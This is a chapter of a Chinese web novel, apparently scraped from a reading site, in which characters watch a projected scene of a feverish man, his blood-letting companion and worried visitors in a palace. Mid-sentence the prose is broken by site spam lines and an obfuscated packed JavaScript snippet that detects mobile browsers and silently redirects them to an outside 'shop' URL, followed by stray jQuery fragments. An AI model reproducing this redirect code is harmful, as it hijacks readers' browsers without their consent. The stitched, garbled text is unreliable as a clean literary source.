没有多久,郑明漪就到达了目的地,是复兴会的一处秘密据点。
他推门而入,沈时正倚在窗边,似乎在欣赏月色,神色晦暗不明;林砚则坐在桌前,面前摊着许许多多的各种报告。
沈时转过身,目光掠过郑明漪平静得近乎诡异的脸,又瞥见他怀中微微隆起的木盒。
郑明漪只是走到桌旁,将木盒轻轻放在桌面上。
繁复的纹路在烛光下流转,银钉折射出细碎的光。
“我带了东西,”他声音平淡,听不出情绪,“你们会很感兴趣的。”
林砚抬眸,镜片后的眼睛闪过一丝探究。
“看来你受了不小的刺激。”
他调笑一声,还有闲情变出三杯酒,还自顾自地喝了一口。
郑明漪并未搭理他,指尖按下木盒的搭扣,“咔哒”一声轻响,盒盖弹开,水晶球的澄澈在昏暗的阁楼里格外显眼。
他取出水晶球,按下底部的按钮,柔和的光束瞬间投射在对面的墙壁上,将原本模糊的影子驱散,形成一幅清晰的画面。
画面起初还是郑明漪之前看到的深邃夜空,疏星点点,流转得极快,显然是纪惊鸿赶路时的视角。
但没过片刻,画面骤然稳定下来,一座巍峨的宫殿出现在视野中。
而画面的视角主人——纪惊鸿,此刻就站在宫门前。
画面中的纪惊鸿,银发如瀑般披散在肩头,平日里总是一丝不苟束起的高马尾消失不见,几缕碎发贴在饱满的额前,沾染着些许风尘。
他冰蓝色的眼眸中有着些急切,连衣角都还带着赶路的褶皱,显然是来得太过匆忙,连整理仪容的时间都没有。
这与老师平时的模样实在判若两人。
这么急切担忧的表情,您在我身陷囹圄,几近死亡的时候都没露出过。
虽然他们那个时候也就才认识的关系,但明明我长得应该跟郑悬月很像才对,你却可以那么平静地看着我。
宫殿的正门缓缓开启,没有发出丝毫声响,仿佛被无形的力量操控。
纪惊鸿没有丝毫犹豫,抬步走了进去,画面也随着他的脚步向前移动。
走入一间宽阔的大殿,地面铺着厚厚的绒毯,沈时对这个地毯再熟悉不过了。
因为之前他想要
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
看看地板是否是特殊材质,或者有没有一些机关,赤脚踩上去试探,第二天地板上就铺满了地毯。
可惜他在这个宫殿并没有待多久,最后这里也被他的弟弟送给一条毒蛇居住。
一把沾满鲜血的**随意丢弃在大殿中央的玉桌上,暗红色的血珠顺着刀刃滴落,在桌面上晕开一朵朵狰狞的花。
一个男子背对着门口站在桌旁,他的头发在营养充足以后长得很快,原本只是到肩膀处的头发已经长了许多,发尾微微卷曲,勾勒出纤细却挺拔的背影。
听到动静,他转过身来,一张艳丽得近乎妖异的脸映入眼帘——眉如墨画,眼尾上挑,唇色殷红,正是白鸦。
他的左手手腕上缠着一层纱布,纱布已经被血浸透,暗红色的液体正顺着指尖缓缓滴落,落在地面上,发出细微的声响。
看到纪惊鸿进来,白鸦的眼神没有丝毫波动,只是淡淡开口,语气里带着一丝不易察觉的焦急和烦躁:“藏青在楼上。”
说完,他端起石桌上一碗暗红色的药汁,那药汁浓稠得像是掺了大量的血,散发着淡淡的腥气,转身便朝着楼梯走去。
林砚的手顿了顿,杯中的酒液保持着倾斜的角度,停在了半空。
他的小鸟放了这么多的血?
为了一只恶心的毒蛇?
纪惊鸿冰蓝色的眼眸中闪过一丝诧异,似乎没想到白鸦会是这副模样,但他并未多问,快步跟了上去。
画面随着他们的脚步拾级而上,楼梯的扶手雕刻着缠绕的藤蔓,沈时想起了他弟弟的藤蔓。
二楼的房间布置得极为奢华瑰丽,与藏青的气质极其吻合。
空气中弥漫着一股淡淡的药香和若有似无的血腥气。
藏青躺在房间中央的床上,他眉头紧紧蹙着,那双总是戏谑挑衅的碧绿色眼睛闭上了,只有眼睫在颤抖,脸颊烧得通红,呼吸急促而不稳,显然正处于高烧之中。
他的怀中紧紧抱着一个人偶,那人偶有着乌黑的长发,金色的瞳孔在昏暗的光线下泛着柔和的光,面容精致得如同**。
霍烬坐在床边的椅子上,正为藏青擦拭着额头的汗珠,他动作轻柔,眼神中带着很明显的担忧。
白鸦端着药碗走到床边,将碗重重放在床头柜上,发出“咚”的一声闷响。
“生病了还不说,
你的朋友正在书荒,快去帮帮他吧
你以为你是三岁小孩,难道谁都会心疼你。”他语气带着明显的怒气,眼神却不由自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147331|184318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主地落在藏青烧得通红的脸上,“我看你就病死算了,省得烦人。”
这话听着刻薄,可他的指尖却下意识地想去触碰藏青的额头,又在即将碰到时猛地收回,转而攥紧了拳头,指节泛白。
“还叫我不要回来,你以为这是你家吗?还可以随便赶人。”
藏青此刻似乎正被高烧折磨得神志不清,根本听不到白鸦的话,没有回应他。
“把药喂给他。”白鸦刚想端起药,半途又停住了动作,对霍烬说道。
他才不会给藏青喂药。
霍烬却缓缓摇了摇头:“没用的,他的病不是你的血能治的。我早就跟你说过,不要放血,阿晏清醒的时候也跟你说了。”
“怎么没用?”白鸦立刻炸了**,艳丽的脸上满是愤愤不平,“他之前在实验室里受了那么多罪,得了那么多怪病,哪次不是靠我的血?现在出去了,反而得的病更奇怪了,连我都治不得了。”
“我看他出去这么久,这好日子也没过得多好嘛。”
他嘴上指责着,心中却并不好受,手腕上的伤口因为情绪激动,渗血更快了。
他还什么都没做呢,藏青怎么能就半死不活了。
一点都不公平。
林砚把酒杯放下,已然没了喝酒的心思。
他的小鸟如此伤害自己,那条毒蛇居然还不领情?
而且这种口是心非和担忧的表情,他之前从未在他的小鸟脸上见过,他的小鸟一直是笑着的,鲜活的,就连他当初找挡箭牌的时候,也不见他的小鸟吃醋。
之前他一直觉得这只小鸟虽然处于他的囚笼,但从未被真正锁住,他从未给白鸦真正戴上过项圈,因为对方并不会因为他视线的转移而难过,也不会因为物质条件的差别而不开心。
直到现在他才明白,他的小鸟其实也是可以被套上情感的牵引线,只是抓着这条牵引线另一端的人不是他而已。
真是麻烦啊,要怎么才能抢回来呢?
果然他看中的,这么优秀的小鸟,就是会有人争抢。
霍烬没有与白鸦争辩,只是轻轻叹了口气。
他恨不得现在在床上这样痛的人是他,奈何就算他违背阿晏的命令去进行痛苦转移,也没有任何作用。
纪惊鸿在这时走到床边,冰蓝色的眼眸落在藏青烧得通红的脸上。
“他到底去做了什么?”纪惊鸿开口问道,声音带着一丝不易察觉的凝重,“怎么会得这样奇怪的病?”